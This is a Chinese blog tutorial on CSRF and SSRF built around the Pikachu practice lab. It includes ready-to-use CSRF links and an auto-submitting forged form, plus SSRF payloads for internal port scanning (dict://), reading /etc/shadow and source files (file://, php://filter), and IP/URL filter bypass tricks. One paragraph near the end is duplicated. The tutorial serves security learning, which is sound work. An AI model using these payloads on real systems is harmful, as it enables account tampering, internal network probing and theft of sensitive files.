CSRF、SSRF

CSRF

概述

CSRF,跨站请求伪造(Cross-site request forgery)是一种挟制用户,在其当前已登录的Web应用程序上执行非本意的操作的攻击方法。
当用户访问含有恶意代码的网页(GET型),或者点击了包含恶意请求的连接时(POST型),会向指定正常网站发送非本人意愿的数据请求包,如果此时用户恰好登录了该正常网站,就会执行该恶意代码的请求,从而造成CSRFimage-20211008142530215

与XSS不同的是,CSRF是利用用户的权限对用户数据进行操作,而XSS是直接获取用户权限

利用

以pikachu靶场为例

GET

在修改用户信息时,通过抓包获取到修改数据时的请求代码

?sex=boy&phonenum=12345678910&add=nba+lakes&email=kobe%40pikachu.com&submit=submit

image-20211007171203701

构造payload

<!-- url-->
http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111111111&add=nba+lakes&email=kobe%40pikachu.com&submit=submit

<!-- 超链接-->
<a href="http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111111111&add=nba+lakes&email=kobe%40pikachu.com&submit=submit">点一点</a>

<!-- 资源包含-->
<img src="http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111145354311&add=nba+lakes&email=kobe%40pikachu.com&submit=submit"></img><!-- 可使用的标签还有audio、video、embed、script、applet、object、link、iframe等-->

当受害者访问了这个url,或带有payload的网页时,将会发送数据包

image-20211007175003485

回到登录页面,发现信息被修改

image-20211007175028882

POST

抓取正常修改数据包

image-20211007214926602

构造表单

<html>
<head>
	<title>csrf_post</title>
	<script>
    window.onload = function() {
    document.getElementById("submit").click();
  }
 </script>
</head>
<body>
       <form action="http://192.168.1.133:88/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
       	 <input type="hidden" name="sex" value="girl"><br>
       	 <input type="hidden" name="phonenum" value="12345678910"><br>
       	 <input type="hidden" name="add" value="china"><br>
       	 <input type="hidden" name="email" value="hacker@hack.com"><br>
       	 <input id="submit" type="submit" name="submit" value="submit" />
       </form>
</body>
</html>

当用户访问该html页面时,将会自动向http://192.168.1.133:88/vul/csrf/csrfpost/csrf_post_edit.php发送修改数据包,用户信息被修改

TOKEN

CSRF的主要问题是敏感操作的数据包容易被伪造,为了让这个数据包不容易被伪造,我们可以采取每次请求,都增加一个随机码(TOKEN,一般以SESSION值作为TOKEN)的方法,这样后台每次都会对随机码进行验证,只有随机码与服务器端一致时,才接受该数据包image-20211007221349863

SSRF

image-20211008165239673

概述

SSRF,服务器端请求伪造(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标一般是外网无法访问的内部服务器

SSRF 形成的原因大都是由于服务端提供了从其他内部服务器获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。SSRF是利用存在缺陷的Web应用,将其作为代理,伪造服务器请求,攻击远程和本地的内部服务器image-20211008144503595

挖掘漏洞

功能

  • 分享:通过URL地址分享网页内容
  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译:通过URL地址翻译对应文本内容 如:百度,有道
  • 图片加载与下载:通过URL地址加载与下载图片
  • 图片 文章收藏功能
  • 未公开的API实现以及其他调用URL的功能

URL

  • share
  • wap
  • url
  • link
  • src
  • source
  • target
  • u
  • 3g
  • display
  • sourceURL
  • imageURL
  • domain

验证

  1. 以URL http://www.example.com/ssrf.php?image=http://www.test.com/img/1.png 为例,若打开该图片的地址与上述URL中image参数的地址相同,则不存在SSRF漏洞
  2. 使用抓包工具判断。由于SSRF是服务器请求漏洞,所以在加载图片、文件时,本地浏览器不应该有图片的请求。以URL http://www.example.com/ssrf.php?image=http://www.test.com/img/1.png 为例,若请求头为GET /ssrf.php?image=http://www.test.com/img/1.png HTTP/1.1 ,则说明不存在SSRF漏洞

利用

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用方式

可以使用各种协议对SSRF漏洞进行利用

image-20211008162510027

访问文件

?url=http://www.example.com/1.html

端口扫描

?url=dict://127.0.0.1/80
?url=dict://127.0.0.1/3306
image-20211008163340960

文件读取

  • file伪协议

    ?url=file:///c:\windows\system32\drivers\etc\hostsimage-20211008170003397
    ?url=file:///etc/shadow

  • php伪协议

    ?url=php://filter/read=convert.base64-encode/resource=./ssrf.phpimage-20211008165946242

绕过

更改IP地址写法

以192.168.0.1为例

  • 八进制:0300.0250.0.1
  • 十六进制:0xC0.0xA8.0.1
  • 十进制:3232235521
  • 十六进制整数格式:0xC0A80001
  • 省略写法:192.168.1

IP地址中的每一位,各个进制可以混用

访问改写后的 IP 地址时,Apache 会报 400 Bad Request,但 Nginx、MySQL 等其他服务仍能正常工作

以本地回环地址127.0.0.1为例

  • 在linux下,127.0.0.1与0.0.0.0都指向本地
  • 回环地址实际上是127.0.0.1/8,访问任意一个127.x.x.x都和127.0.0.1是一个效果

URL参数解析不当

http:baidu.com@192.168.0.1http://192.168.0.1#baidu.com,后端程序可能判断为访问的是baidu.com,但实际访问的地址是192.168.0.1

常用的绕过符号

  • @:http:baidu.com@192.168.0.1

  • #:http://192.168.0.1#baidu.com

  • \:http://192.168.0.1\baidu.com

    http://192.168.0.1\\baidu.com

  • ?:http://192.168.0.1?baidu.com

URL跳转

如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url重定向地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题

http://192.168.1.133:88/vul/urlredirect/urlredirect.php?url=http://192.168.1.133:88/vul/ssrf/ssrf_info/info1.php

的(可能是用户传参,或者之前预埋在前端页面的url重定向地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题

http://192.168.1.133:88/vul/urlredirect/urlredirect.php?url=http://192.168.1.133:88/vul/ssrf/ssrf_info/info1.php

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值